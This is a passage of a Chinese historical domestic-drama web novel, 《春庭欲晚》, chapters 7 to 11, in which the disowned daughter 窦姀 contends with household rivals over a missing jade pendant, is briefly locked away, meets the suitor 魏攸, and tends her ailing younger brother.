窦姀刚想询问昌叔主君那儿是什么情形,忽然便见,打东边有个人提灯走来。月色昏暗,穿什么衣裳并不能辨清。只是瞧那纤细身影,扎双髻,疑似是个丫鬟。 那丫鬟走路极标致,娉娉婷婷,一点都不急,像是早料到这里有什么。 这种斯文又不输闺阁小姐的步子,窦姀只在一人身上见过——那便是大娘子身边的丫鬟,瓶翠。 瓶翠是大娘子的脸面,一等一的大丫鬟,就算昌叔见了也要敬上三分。 他嘶了口气,便堆起笑脸迎上前:“瓶翠姑娘,这么晚怎劳你大老远过来?哎呀有什么需的,打发小丫头就是了!” “大娘子交代的紧要事哪能让小丫头来,没准毛躁传错了话,我可担不起呢。” 瓶翠哼笑,却不多说话,直走绕开了昌叔。走到窦姀跟前,灯笼光一打,怪声怪气地讶然:“这是从前的四姑娘么?我都要不认得了,这么细细一看,好像还真不像咱府里那几位姑娘呢。” 说罢,又摆摆手,“快更衣去吧,大娘子叫您来主屋,有话问话呢。” 瓶翠盯来的目光让窦姀感到不自在。 从前窦姀在府里活得如隐形人时,瓶翠眼里没有她。如今是在意了,却像看怪物一样,看个稀罕。 但这又如何呢? 窦姀知道自己人微言轻,现在又是这么个尴尬身份,家里哪还有她说话的份。但瓶翠素来不喜欢她,哪知大娘子有没有真叫、是不是设套,这样的话只能信三分。 窦姀飞快想过后,掩嘴又咳嗽,虚弱道:“只怕我现在得等主君的发落下来,才能去见大娘子......” 瓶翠噗嗤一笑,甚为不屑:“等什么主君发落?主君早做打算了!您呀去见大娘子,自然会知晓自个儿什么下场。我奉劝姑娘您别磨叽,小心让大娘子等不耐了!” 瓶翠说完,也不理睬人,趾高气扬地走了。 昌叔见故,狠狠呸了口:“还真把自己看作金枝,脸子比姑娘都大。” “我无妨。”窦姀看着瓶翠远去的背影,静静道:“她到底是大娘子从云家带来的,总跟旁人不同些。” “不同些?” 昌叔哼了声,左右看看,倏地凑近窦姀低声说:“瓶翠才多大?左右也就大姑娘您三岁,那是云家的远房表亲,大娘子把她当女儿养呢!您是不知道,大娘子还想留着她给二爷做妾!” “做妾?”窦姀暗吃一惊,看向昌叔,他并不像在说笑。但回想起以前瓶翠与窦平宴说话的模样,倒也像是情意绵绵? 窦姀看夜色愈深,云如珍本来就不是很喜欢她,她再去得慢了,还不知要如何苛责。便拍了拍春莺的肩,要回梨香院更衣。 不知春莺走神在想什么,竟被窦姀冷不丁吓到,长长“啊”了声才回神,跟着离开。 窦姀更衣过后,一刻也没落,匆匆往主屋而去。 哪知才至庭前,便听见屋里人说话的声音。好像是大娘子,拔高了声儿在问:“真这么说的?我叫她也不肯来?” 接着便是瓶翠的声音,“奴婢怎敢撒谎呢?四姑娘那是讲得明明白白,摆明没将您放在眼里......” 窦姀一听,一口气卡在胸口。春莺更是小声怒骂:“一头想攀上二爷,一头还能不分青红皂白造起谣,二爷能看上她才有鬼!” 窦姀回头看了眼春 7. 偷窃 《春庭欲晚》全本免费阅读 窦姀作势再要跪下,却被云氏一拦:“好了好了,地上冷,你就别跪了。你该谢的是宴哥儿,他想着你回来可出了不少力,在他爹跟前跪了好久,嘴皮子都快磨破了。” 话是如此说,窦姀却听见云如珍一声轻哼,微乎其微。再是看见站在一旁瓶翠的脸色——也似是不屑与傲慢。 其中明理,她恍然参透——这是在敲打。 窦姀连忙起身,也不顾旁的,伸手便是向前一揖。抬头看云如珍时,已是情深切腑:“弟弟的好,我不敢忘。可大娘子也费心费力为我说情,姀岂能不知呢?若日后还能跟着大娘子,用心伺候,那便是老天怜悯,是姀几辈子修来的福气!” 这个回答,云如珍听了倒还算满意。瞥了眼瓶翠,瓶翠不情不愿地把人扶起。 “你呀你,真是个可怜孩子......只可惜碰上这些造孽事。”云如珍轻叹,心情却好了几许。她握起杯盏吃茶,才一边将最后的重头戏道出:“你有这份心就好。但也别怕,若你父亲真厌极了你,我便是想留你在身边做个伺候的丫鬟,也不会被允的。” 窦姀惊愕地抬眸。 云氏继续不紧不慢道:“接你回来前他就说了,对外只声称窦四姑娘死了,从今往后再也没这号人物。你呀,便以襄州老家的表姑娘身份,寄养在咱府上。今后起你的身世,谁都不准说错、说漏嘴,你自个儿也清楚了?” 窦姀不知晓自己是如何震惊又彷徨地度过去,等她回味过来时,已经拜别了大娘子,和春莺从主屋里出来。 回到梨香院后,窦姀翻来覆去地睡不着。本是起个夜解手,走着走着却到了庄婆子自杀的井边。 这井原来是院里烧水、浣洗、盥漱用的。自庄婆子投井后,大娘子嫌死人晦气,便找人将井填埋封死了。 窦平宴今晚来的时候跟她说,庄氏的死或许和马姨娘脱不了干系。换作从前,窦姀如何都不肯信,姨娘怎么可能手染鲜血?姨娘连杀鸡都不会。 可是姨娘却告诉她,她也杀过一人,是当年的算命瞎子。 窦姀在井边坐着。 这么黑的夜,只有一盏灯笼在陪她,她也并未感到害怕。或许比起死人,人心才是最恐怖的。她从前觉得,杀人的都是坏人,十恶不赦......但倘若这人是姨娘呢?姨娘又是为她才杀了人。 窦姀迷茫地轻轻摇头。 夜里冰凉,已经丑时了,她也有些冻。正收拾了要起身,忽然听到隐隐约约的哭声。窦姀觉得奇怪,寻着哭声过去,走到西北角的抄手游廊处。 她藏在柱身后探头一望,游廊外有个人蹲在地上,不知在烧什么,一边烧一边低泣。窦姀梗着脖子,清清脆脆问了声是谁,那烧东西的人倏地惊起,慌乱之中不慎用脚踢翻了火盆,蹿一溜烟,已没了影儿。 翌日清早,窦姀睡醒后想起半夜撞见的那事,在梦与现实中迷糊了一会儿,最后还是又走回原地去看。只见火盆已经被取走了,地面上只留下一些烧过的灰烬。 “真是见鬼了,那人谁啊?” 春莺早上也听窦姀说起此事。这西北角抄手游廊外的不远,就是成排的后罩房,可疑的人很多。但窦姀似乎也不想在乎,只是说起后就放下了:“咱们以后夜里留心些,别混来有心之人就是了,想想还挺可怕。” “好,回头我跟苗婆子也说一声。” 春莺才说着话,忽然有个人影闪了进来。窦姀正在喝粥,圆桌啪的一声,已落下一只娇嫩纤白的手背。她抬头,看见来者是窦云筝——她的三姐,姨娘曹氏所出。 窦姀和云筝交情不好。本以为她来是嘲弄取笑自己的,便也不欲理会,低头仍吃自己的粥。哪知云筝盯看了半晌,一句辱笑的都没有,却是问:“你可记得,今儿是什么日子吗?” 窦姀放下碗,还真想了想,并没想到。 云筝朝她伸出手:“你把你那玉珏借我呗,就是宴哥儿送你的那块,有如意纹的。” 眼见着窦姀摇头拒绝,窦云筝急了:“看你也不记得了,罢了那便告诉你——午后魏通判州事府上的会上门拜访,就是母亲相中,有意与我定亲的那家。你那如意纹的玉珏与我要穿的袄子很相配,你就借我用一用。” 窦姀并不太相信云筝的话。 其实借别的东西她倒无所谓,只是这玉珏是弟弟送她的,她珍重得紧,日日都带在身边。而窦云筝究竟要拿它做什么,窦姀并不太确定。因此,她再次拒绝了。 哪知这一拒绝,却惹起窦云筝的火来。 本来她也不是非要那玉珏不可,可见窦姀想都不想便拒了,不禁想起“那人”提点自己的话——她又不是窦家血脉,你怕她做甚?她不借,那是想挑衅你。既然想要在窦家继续待下去,她当然得找个人立立威了。而你,是她最好下手的。 窦云筝一想,还全被“那人”说中了。忽然就恼怒起来,拍桌瞪道:“你一个野种,父亲没把你赶出去已经手下留情了!你厚颜无耻地继续待在这,还跟我摆谱?谁给你这么大的胆?!” 窦姀被她忽如其来的声量吓一跳,却也不怕,挺直腰杆正色道:“留我下来的是主君与大娘子,你若不满,大可到他们跟前闹儿去,何必在我这儿动怒?” 窦云筝嗤笑一声,“你以为主君留你下来,就会站你这头吗?那是我爹爹,又不是你爹爹!还有宴哥儿,我才是他亲姐姐,你一个野种,没半点血脉,他的东西你有什么脸争?拿来!” 说起窦洪时,她还没什么反应。可提到窦平宴,忽然有根针飞来,往心底一刺。窦姀倏地腾起身,脸急得泛起闷红,却难过地坚定道:“我就是他姐姐!” 对,是他姐姐。他说从前不会变,以后不会变,不管她是不是窦家的女儿,她都是他姐姐。 窦姀想着,泪珠子不经意地掉在手背上, 8. 关人 《春庭欲晚》全本免费阅读 九月的午后,天还不算太凉,日光暖洋洋地落在地上。 窦姀绕过几处游廊,前头便是藕香亭了。为招待魏府的人,云如珍在庭前设了赏菊宴。几张绘漆描彩的荷花长桌上摆着各式茶点,数不清的名贵□□,丫鬟仆婢均候在一旁。 窦姀来的时候,大娘子已经走了,只留下窦云筝与客人。 她遥遥望去,只见方桌右边的藤椅上坐着一妇人,应是魏家的主母。 那妇人面相圆润饱满,细眉吊眼,靥钿一点。绛紫褙子、真珠翠领,单是往藤椅上一坐,便有种令人望而止步的雍容之气。 而云筝低头站在她的身前。 此时魏大娘子正拉住云筝的手,不知在讲什么,边说边笑,说的云筝脸红透了。 又等了好一会儿,魏大娘子起身,似是欲要解手,云筝便招来一个小丫鬟引她去。 等到魏家的人走开,窦姀见时机已至,递了个眼神,春莺便跑去叫窦云筝。 “你找我贵干?” 窦云筝本来不想过来,可谁知春莺这丫头这么难缠,打都打发不走。她见再磨蹭,魏大娘子便真要回来了,无奈下只能走来,脸拉得难看,没好气道:“眼睛瞎了么,没看见我正忙着?” 窦姀懒得跟她扯皮,立马开门见山,伸手向窦云筝讨要丢失的玉珏。 没想到她却不认,下巴一抬:“谁拿你东西了!指认也得讲凭证,你无凭无证的,凭什么能栽赃我?况且你能有什么好东西稀罕我去偷?” 窦姀蹙眉盯了一圈,窦云筝并没有把玉珏戴在身上。可没戴着,又被她放哪儿去了?她气恼地蹙眉道:“要证据是罢,午后可是三姐姐让灵锁来我这儿的?” “是又怎样!你不是在午睡吗?灵锁等不到你就走了,又没偷你的!” “就走了?”窦姀冷冷道,“我午睡时春莺就在屋外,这期间只见灵锁一人来过。可我醒来,这玉珏便丢了。它跟了我好几年,前儿不丢,昨儿不丢,偏偏在三姐姐今早儿问过我之后才丢的,还能什么都不算吗......我只一句,若你现在还我,我立马就走,便当什么都没发生过,绝不纠缠。可你若不还我......” 她幽幽地往云筝身后张望,“魏大娘子也快回来了,三姐姐应该不愿将丑事闹到她跟前罢?” “你!”窦云筝登时气急败坏:“你算什么东西,竟敢威胁我?” 窦云筝气得险些要跳起身打人,忽然,身边的灵锁急忙拽住她。窦云筝朝灵锁低吼道:“你拦我做甚?她有胆子跟我耍威风,我非得给她点颜色瞧瞧!” 灵锁虽是窦云筝的丫鬟,却比窦云筝大三岁。大了三岁,自然心性也就熟些。她比了比魏大娘子离开的方向,这么一指,倒是让云筝清醒了不少,不再闹腾了。 于是灵锁又朝窦姀一礼道:“姀姑娘勿要声张,有话好说便是!那玉珏确实是奴婢所拿,只是现儿也不在我家姑娘身上。请姀姑娘跟奴婢回清圆院取吧。” 窦云筝听罢,不知怎么的,忽然怒视灵锁。正要开口骂呢,灵锁急忙噤声,朝她摇了摇头。 “真在你那儿?” 窦姀有些犹疑。 会不会玉珏就在云筝身上?窦姀一细思,也不太可能。窦云筝向她讨玉珏,不就是为了要配袄子吗?若云筝真带出来,为何也不戴上? 可她着急地找回玉珏,见不得它半点受损,暂且先跟灵锁回去拿。为了万全之策,她便让春莺先留在这,以防事变。 清圆院比梨香院大些,在窦府的西北角,住着姨娘曹氏、窦云筝和小儿子窦平琦。 这曹姨娘也算有些来头,是老太太的本家表亲。听说原也是大户出身,后来有人入狱,家道中落。途径江陵时,听闻窦家便在江陵做官,于是投靠来了。 当初便是老太太站出说话,让自己儿子纳了她做妾室。曹氏的相貌没有窦洪别的姨娘出众,也不受宠爱,但因着跟老太太沾亲带故,这些年在窦府过得还挺舒坦。 窦家男丁不多,后来曹氏又生下了小儿子窦平琦,在府上更是站稳脚跟,连带云筝的底气都足了不少。 云筝人如其名,一直是个争强好胜的性子。从前窦姀能避则避,她不喜麻烦上身,从不会主动与她起冲突。若非这次窦云筝强行拿走弟弟给她的玉珏,她绝不会一步步追到门上的。 弟弟送的,她丢不得。 从藕香亭去清圆院的路上,还经过了一片竹林路。主君当年觉得近竹愉悦,好修身养性,静心读书,便在这建了座南北通穿的园子,并取名“静心斋”。后面事忙了虽很少再来,却定下规矩,每日都留丫鬟打理清扫。 然而就在经过静心斋前的小道时,灵锁突然一个转身。窦姀猝不及防,回过头胳膊已被人紧紧拽住。 她不懂灵锁要做什么,先是一声惊呼,不断地、使劲地挣脱。谁知灵锁一不做、二不休,竟直接上身抱死了她,朝屋门口那俩丫鬟喊道:“你们快过来,帮我制住她!” 俩丫鬟正在静心斋中扫地,看的傻眼了,面面相觑,没一个敢出去。 灵锁又急声喊道:“你们还愣着做什么!赶紧过来!三姑娘的命令也敢不听?!” 府里的丫鬟仆婢都知晓,这灵锁是窦云筝的近身丫头。她传的话,那必然是窦云筝的命令。 此话说完,那俩人终于小跑过来,一人抓住窦姀一边手臂。 现在灵锁终于得到空隙可以松开,盯紧人,气喘吁吁道:“姀姑娘,得罪了,谁让你偏要对我们姑娘胡搅蛮缠呢?我们姑娘见魏大娘子要紧,那可是关乎她一辈子的亲事,容不得半点差错,只能委屈您先关在这儿了!” 关在这儿? 窦姀面色一变,紧接着就看见灵锁找来一根绳。她拼命挣扎,可那俩丫鬟偏听灵锁的话,将她压得死死的。窦姀急得咬牙切齿:“你们竟敢......” 可这话没说完,她便明白了。 换作从前,旁人就算打心底里看不起她,也绝不敢这 9. 魏郎 《春庭欲晚》全本免费阅读 这话刚说完,云筝后脚便赶到。 她埋怨瞪了眼灵锁。追过来连忙问那人:“魏郎君怎么走到这来了?” 他说什么来着,魏家的长子?倘若她没有记错,大娘子要给云筝议亲的就是他。 窦姀见云筝那着急样,方才的委屈倒化成一点痛快。她太了解云筝了,眼前这人相貌俊俏,仪表堂堂,论身形也是无可挑剔,云筝自然是中意的。窦云筝的脸很红,但不管是急红还是羞红的,都足以可见在乎这个人。 “噢,令尊同我谈起他修养身心时建了一座静心斋,外修有竹林,幽然宁静,我颇感兴趣,正好过来一看。”说罢,他瞥向云筝,示意屋里关着的人:“这是?” “妹妹,你怎被关到这儿来了!” 云筝仿佛不知情般惊呼,急忙走来拉窦姀的手,四处看看她的伤势。见没有大碍后,才终于松一口气。灵锁也跟过来,忙打配合地说:“午后咱们的清圆院闹贼呢,不知哪个小丫头竟偷了曹姨娘的镯子,捉都捉不到,听说人又躲到清心斋来。是奴婢眼拙该死,竟是抓错了人!” 漏洞百出的谎话,窦姀听着都想翻白眼。 “好在人也无甚大碍,未酿成大错嘛。”云筝忙笑,手底戳了戳窦姀:“是这样吧,妹妹?” 魏攸的目光也同时望来。 要陪云筝演出什么样的戏,窦姀根本不在乎。她现在只想拿回她的玉珏,索性便贴近云筝的耳朵笑了笑,小声道:“东西还我,你说什么便是什么,包你满意。否则休怪我也不义......” 她本以为有客人在就能压制云筝,自然就会乖乖把玉珏还回来。哪知云筝一听,当场便暴跳如雷:“你胡说什么!那玉珏又不在我身上,分明你监守自盗,还非得拿来威胁我!” 话音落下,她便重重一推,愤然离去。 窦姀被她推得一个趔趄,没站稳,猛然撞在椅背上,疼得倒吸一口气。 灵锁也被吓到了,看一眼魏攸,急忙去扶人,又无措地跟魏攸说道:“魏郎君见谅!我们姑娘平日不这样的,今儿实在是...实在是气过头了......” 他仿佛若有所思的,说了句我知晓后,便走近前来,低头问窦姀:“你可还好?要不我先遣人,知会你们大娘子一声,她正与我母亲在一块。” 窦姀只听过他嗓子嘶哑时说过的话,没想到养好了后,他的声线平畅又温和。这确实是个相貌不差的人,眉眼峰峻,唇意弯弯,只是往近了看,她依稀还能看见他嘴边、额角边未消完全的青肿。 他的善意,自然是为答谢她那日救命的恩情。 只要应下,她和云筝的事必然会摆到大娘子跟前。她被指使关在清心斋,自然也是云筝有错在先,没准就能借着大娘子发话,拿回她自己的玉珏。可是...... 窦姀却想起,窦云筝刚才发火,甚至顾不上要议亲的人在这,都拿不出玉珏,气得丢下所有人走了。可见这事似乎没那么简单。 ——难道玉珏真不是窦云筝拿的? 且她能感觉到,那俩小丫头是不敢抗了云筝,却又不想真的关她,所以在嘴巴贴封纸时并没多使力,轻轻一吹便掉了。 她想了想,跟他道谢后又拒绝笑道:“不必找大娘子,没什么事,是我误会三姑娘了。”一旁的灵锁原本见事情快捅到大娘子跟前,还甚是担心。现在一听,简直舒了口气。 窦姀要如此说,魏攸也无法。他看外头天色不早,便提议道:“既没什么事,我等在府上又不识路,劳烦小娘子带路回藕香亭可行?” 窦姀答善,与魏攸一同出来。 天色已黑,魏攸打着灯笼,她没有灯,只能落后两步在他身侧。 他的影子长长的,正好斜落在她的脚下。窦姀垂眸望着,万没想到这世间事竟有如此缘分。她救过人后,本以为萍水相逢不过他乡之客,以后也不会再见到。未料今日他却成了府上宾,在清心斋又重逢了。 他被人打得半死不活,却能愈合的如此快,又崭新地重现了。 走了有一会儿,魏攸忽然转头,看向她一问:“小娘子名讳何为?” “窦,单名一个姀。” “可有小字?”他又问。 “还未取。” 那人默了默,展颜笑道:“我也还没有。” 二人走出清心斋,却都心觉奇妙。 刚走上竹间小道,北面忽有一人提灯过来,是从清圆院的方向。窦姀眯眼一看,来人正是曹姨娘,窦云筝的亲娘。 这曹姨娘,午后侍奉在大娘子身旁,与魏攸见过一面,因此他也认得。 见她是云筝的亲娘,魏攸停下脚步,朝她微微一笑:“姨娘可也要往藕香亭去?” 因着魏家人今日上门的缘故,曹姨娘特地仔细收拾过,穿得比平日都要好。比起云大娘子,她这个亲娘才是最在意云筝亲事的人。 伺候大娘子,忙活了一下午。见大事告落,魏家的人也很满意云筝,她终于可以回清圆院坐着了。谁知屁股没坐热,就见云筝气恼地跑回来。曹姨娘急了,好一通询问下才知发生了什么事。 见女儿被个野种冤枉,她自然气不过,收拾收拾就出来了。正要去大娘子跟前哭冤,没想到路上竟碰上这两人。 曹姨娘看见窦姀,怒气一下就上来了,这个连门户都没有的野种,竟敢毁她家筝姐儿的亲事!可是她再生气,却不敢当场发作。不仅是因为魏家的人在,还因为她只是个姨娘。是姨娘,就是这家里的半个奴才。 曹姨娘先是压着怒,笑道:“是,奴是要往藕香亭去,与姑娘和魏郎君一同去吧。” 于是,这条路又成了四个人在走,兼魏攸的小厮。 走着走着,魏攸忽然想起一事。不管是上一回,还是这一回,他见窦姀身上所穿皆是讲究,也不像府里的下人,那为何会被人关在清心斋里? 或许她是这家里不受待见的庶女吧。魏攸想到,即便曹姨娘在这,却也不多顾忌地转头,又问窦姀:“小娘子排行第几呢?” 排行第几? 这话问的棘手,她早已被家中除了名,正寻思该如何回答,便听得曹姨娘在身后笑笑说:“她呀,是寄养在我们府上的表姑娘,窦氏襄州老家的远房表亲。如今族中无人,排行倒是说不上。” 说完,窦姀便见曹姨娘抚了抚鬓发,朝自己勾唇一笑。 而魏攸却若有所思地颔首。 她没说话,仍旧看路走着。 走到前廊的分叉口时,窦姀觉得很怪,也不想走了,便告退道:“我还有事在身,既然曹姨娘能带路去藕香亭,我就不去了,魏郎君请便。” 窦姀说完,便与他们分了道。 窦姀回到梨香院,看见庖房灯还亮着。进去一瞧,苗婆子正坐灶前烧热水。 她问苗婆子:“春莺还没回来吗?” 苗婆子擦了擦汗,一边往灶洞里塞木柴,一边道:“没有呐,自从姑娘带她走后,老奴一下午都没见着她人影儿!” 窦姀低头寻思着: 莫不是还在藕香亭吧?这傻丫头,让她在那儿随机应变,她倒儿真守着一下午了!这么晚,看我取玉珏还没回来,这丫头就不奇怪吗? 窦姀叹了口气,说我去找找。刚出了庖房门,便看见窦平宴领了个小丫头来。 “大老远就听见了你在问春莺,我便知这丫头鲁莽,常惹你挂心的。”他笑着,拉出身后跟着的小丫头:“阿姐看她如何,机灵么?若阿姐喜欢,便让她日后跟着你吧。” 窦姀谢他好意,说不用,“我这儿事少,有春莺和苗婆子就够了,不用这么多人的。再说了...”她又笑道:“春莺也就偶尔做事不妥,但常常还是留心的,是个机灵人。” “你当真不要她么?” 窦平宴笑笑,却伸头看了眼那小丫头:“你知道她是何人吗?她是庄婆子的女儿,府上的家生子。她原先在二姐房里伺候了半月,后来就被赶出来了。” 窦姀原是真不想要,听到庄婆子时,身子一颤,终于着眼仔细打量这个小丫头:只见是个胆小怕羞的,自从见到了她,头就没抬过,两只小手紧张攥着衣角。瞧上去和自己的年岁相仿,十五、六的模样。头上两只双螺就用粗红绳绑着,再没有别的首饰,比起其他丫鬟仆婢实在素净不少。脸颊白嫩,眉眼虽清淡,却粉唇皓齿,是个有底子的俏人儿。 “要,我当然要她!” 窦姀上前两步,拉起小丫头的手。可这小丫头仿佛受到惊吓般,猛地把手缩到背后。 窦姀看了眼弟弟,窦平宴从始至终只有坐观淡然,并不清楚是怎么个情形。窦姀也不强求,只是问那小丫头:“你叫什么名儿?” 那小丫头弱弱怯怯地答道:“奴没有名儿,爹娘都管奴叫二丫......” “这名儿实在 10. 病了 《春庭欲晚》全本免费阅读 窦姀曾经做过这样一个梦。 梦中,她像一根羽毛似的漂在仙湖之上。有一襕衫潋滟的仙人俯身,变幻之间,将口中的仙气缓缓渡给她。 仙人的唇是什么样的?软软嫩嫩,像她吃过的牛乳滑糕一样软。那仙人渡气之际,她闻到了白芷的香味,很清很淡。本不是难闻的味儿,却不免让她眉头蹙起,恍惚忆起弟弟就有一个这样的香囊... 真是古怪又荒唐。 窦姀捂住胸腔剧烈地咳嗽,等到水咳尽,抹了把眼,发觉自己已被救到岸上。一旁站着窦平宴,他也浑身湿漉,正背对着她拧干衣襟。 落水之后她觉得好凉好冷,轻轻喊了他一声。见他没动静,似乎是没听见,窦姀便爬着起来站到他跟前。 她万没想到他会这样跳下去。因着担忧,忍不住责怪说:“你连自己安危也不知了吗?为何不去找人,水又这么深,怎就如此莽头下来?” 她仰着头,颇是生气,却被他清清幽幽抬眼一望。那眼神有委屈,有难受,看得她也不舒服了。窦姀喉咙哽住,倒是一时不知所云。 他靠近,忽然一下抱住了她。不知是被水冻的,还是隐忍的,牙齿咬在一块咯咯响:“你没事才好!我为何要顾那么多!” 他一吼,好像要将胸中的委屈吐尽,头重重落在她的肩上。窦姀立马便懊悔方才朝他生气了,鼻尖一酸,颤着手靠近他后背,缓缓轻拍。 这个怀抱实在太紧,带着鱼池的冷气飕飕漫浸两人身体。她有点不适的扭了扭,偏他还没什么感觉,既不松手,也不再说话。好一会儿后窦姀才说了冷,让他松开。 两人分开了。窦平宴摊开两臂站着时,神色显然有几分怔忡。 这么待着也不是事儿,窦姀拉了拉他湿透的衣袖,轻声说:“回去吧,咱们换身衣裳。” 月还是那个银银月,悄声挂枝头。夜空无星,两人只有一盏赤火灯笼。窦姀一边走,一边问他:“你何时会凫水的?我怎么从前都不知。” 她一问,他才偏头看了看她,很简短一句: “三个月前,跟叔伯去扬州学会的。” 语气很平平,窦姀便知他还在恼自己。她有意破冰和缓,索性便笑了笑,伸手拉住弟弟的衣袖:“会了好呀,以后你还要赴京应考,万事难料,有个保命之策我也可稍稍放心了。你知晓的,这个家我最放心不下的就是你了......” 她眨眨眼瞧他,窦平宴还真被她说动了,立马伸手拉她的手腕:“乡试才过,这些都是很久以后的事了。” “赴京很久以后?”窦姀听着奇怪,反应过来时突然一惊:“明年三月不是春闱杏榜吗?你这些时日一直用功读书,为何不去?” 他忽然不说话了,不再前行,驻足沉默。 月影倾泄,廊前的秋风吹过,草木沙沙。夜晚本就幽静,也不知是不是身上湿气重的缘故,窦姀觉得越来越冷了。他的眼皮悄然垂下,似乎不敢看她,只有唇在一翕一动:“我学识也不精,这么赶着去未必能够得上,免不了白跑一趟,在家多待两年增进一下也好...” 窦姀没有多想,只说太冷了,催促着他又赶紧走。 边走边说:“连夫子都赞你聪敏好学,明年春闱有望,弟弟未免也太妄自菲薄了些。况且怎么能是白跑一趟,都说上京繁华,结识些友人书生,见见眼界多好呢!” 一路上只有窦姀劝慰的说,他一句话都无,与往日很不一样。往日他却是爱说笑,时不时打趣儿那么一两句。 窦姀也不知哪出了差错,以为他只是气馁罢了,也没多想。走着走着,两人已经回到梨香院。 院里没人,倒是春莺打头出来遇见他们,眼往窦平宴身上看去,先是一惊。窦姀刚要开口说点什么,她便连忙道:“这是怎的了,怎么湿成这样?奴去取衣裳来!姑娘先前绣的,正好有几套二爷能穿的!” 见春莺急急忙忙跑开,窦姀臂一抱,似是笑着埋怨:“这丫头,跟你比跟我熟。你一来,她就只顾着二爷冷不冷、暖不暖呀,我一大活人还摆在这儿呢。” 窦平宴闻言看她,却笑是:“真是越会吃酸了。什么叫跟我熟,越亲近才越容易略过,定是不用说便下意识记着了,不信你且看。” 不过须臾,春莺已经出来了。手头确实找了两套衣裳来,一套她的,一套窦平宴的。 窦姀接了衣裳,便打趣儿道:“早知你心挂二爷处,我就该把你送去他那儿!反正如今我也有芝兰了,佳人在侧,你爱去哪便去哪吧!” 春莺一听,脸显而易见地红了。急忙摇头置否。窦姀也不逗她了,拾了衣裳便去更衣。 入秋了真是好冷。 窦姀换上新衣,把湿答答的衣裙堆在一旁。她太冷了,见壶中有水,便给自己倒一盏热茶喝。 热汤下腹,好像浑身的毛孔都被烫开。茶香氤氲中,脑海里竟忽然闪过窦云筝怒斥她的话——“分明是你监守自盗,还非得拿来威胁我!” 窦姀后想,脸色深深凝起。窦云筝宁可出丑态也不肯将玉珏还给她,难道真不是她让丫鬟偷的,真的冤枉人家了?而灵锁当时承认玉佩在自己那,或许只是权宜之计?怕她妨碍到云筝见魏家主母,才寻了个由头引她离开,把她关进清心斋? 窦姀越想越奇怪。 不是云筝,那她玉珏是怎么不见的? 窦姀决定,再问问春莺。 她换好衣裳从屋里出来,看见春莺正在院里与窦平宴说话。二人不知在说什么,春莺眉色飞舞,窦平宴则颔首应是。 窦姀暂没想把这事告诉他,便绕去了后院。看见一人枯坐在井边,竟吓了一跳。 那人也慌张地站起,提起灯笼。窦姀瞧她身影眼熟,走近一瞧,讶然:“芝兰?” 芝兰小小嗯了声,还是不敢抬头。窦姀不经意间一瞥,看见她虎口边褐红一块,似是被烧伤的。想再去拉芝兰的手,芝兰却局促不安地将手往身后一藏,小声嗫嚅道:“姑、姑娘......” “你手怎么了?怎么烧伤了?” 窦姀一疑,忽然想到,“那夜在游廊外烧火盆的人是你?” 芝兰猝然抬起头,眸色害怕。 “你不说我也知道。”窦姀想想说,“那晚我撞见人,他离开时不慎踢倒火盆。你这手应该是被火烧伤的吧?庄婆子死在这口井里,你又独自坐这,上回夜里也是,烧东西是为了告祭亡灵吧?” 芝兰终是无可否认,只能点头。 窦姀呼出一口气,抬眼望这空旷的院子。 姨娘离开,庄婆子走了,以前梨香院虽也没几个人,但她从未觉得冷清过,这回倒是生了清冷之感。她复捉起芝兰的小手,轻轻摸了摸虎口上的伤疤:“你既是庄婆子的女儿,又来了我这,别怕,我会好好待你的。你便跟春莺住一屋,可好?苗婆子晚上回家去,你俩待一块也好搭个伴儿。” 她欣然答应,窦姀也舒心,领人回屋里。 刚进屋,春莺也回来了,面上喜色难掩 11. 又遇 《春庭欲晚》全本免费阅读 一下就跟着难过起来,这样的话他小时候也说过。 那时窦平宴才不过五岁大。 有一回两人闹了别扭,她赌气之下自己跑开了,把弟弟一个人留在假山的山洞里。黑暗里他一直喊着阿姐、阿姐,哀求她不要丢下他。可她偏当做没听见似得继续跑。 那时的大娘子云氏不知为何,还不怎么喜欢他、不爱管他,也不让丫头婆子们搭理他。窦姀是半夜惊醒时才想起弟弟还在山洞,于是急忙挣起,拖着姨娘一起去找。 找到的时候,他正一个人抱膝坐在黑暗处哭。那时窦姀才知,原来弟弟怕黑,她竟把他抛下了那么久。 窦姀想起往事,很是难受,立马抓住他被褥上微烫的手:“我不会不要你的......” 不知道他是不是听进去了,仿佛呓语地嗯了声。 窦姀在他床边守着,准备等他醒来便喂药吃,哪知忽然听见了开门声。她转头,却看见瓶翠提着食盒进来。 对视之中,只见瓶翠脸色一变,放下食盒后立马出门。 没过一会儿,屋外传来了训斥小丫头的声音......“我不是说了吗!闲杂人等不准进来,你俩小崽子净当耳旁风了?” 窦姀默默听着,心里却跟明镜儿似的。瓶翠骂的那么大声,故意让她听见,不就是为了赶她走么?可是自己好不容易来一趟,才不想走。 她索性揉了揉耳朵,假装没听见,继续守在床边。 又过了会儿,瓶翠还是进来了,端着盛水的木盆。 瓶翠把帕子浸湿后拧干,一边搭在窦平宴的额头,一边转头跟她假意笑道:“待这么久姀姑娘也该累了。若累了,便回去歇着吧。” 窦姀仍坐着不动,也勾了勾唇:“不累。” “那又是想跟大娘子讨什么好处?” 瓶翠哼着便小声嘀咕道:“姀姑娘平日表面装作不争不抢,好像什么都不想要似的,内里却不声不响让自己丫头跟二姑娘讨东西,也就仗着二姑娘心太好,要什么给什么,才一味儿的榨取人家......” 泼头而来的污水,窦姀听得莫名其妙,登时看向瓶翠:“我何时找二姑娘讨东西了?” “姀姑娘还要赖掉不成?”瓶翠冷笑,“前两日傍晚,我可亲眼看着春莺从扶风院出来,手里还拿了二姑娘一小匣子的首饰!” 前两日?窦姀一想,不就是魏家人来的那天吗?傍晚时分,春莺明明是在藕香亭守着呢...... 她心觉奇怪,一时愣住,又见瓶翠说得如此肯定,自个儿倒是一句话也吐不了。 瓶翠见她不动声,更是想冷嘲借讽两句。可不管她怎么说,窦姀便像个木头人一言不发地坐在凳上。瓶翠那是一拳打在棉花上,没了趣儿也不得劲,不过一会儿就走了。 窦姀一直待在弟弟身边,守到傍晚时才隐约听到弟弟的一点动静。 他念叨着渴,窦姀急忙去倒水。黄昏的日光本就渐散,四边窗子又用绸布遮去,屋子里更是暗的见不到一点光。 她摸黑地走来,坐在床沿,喂他喝水。昏黑里听到咕噜的水流过咽喉,紧接着,持盏的手忽然被他握住了。他轻轻地问:“是你么?阿姐...” 这么黑的屋里,伸手不见五指,窦姀一讶:“怎么认出我的?” 那人刚想说话却咳了两声,勉强笑之:“迷迷糊糊中我梦着阿姐了,梦着你在守着我......” 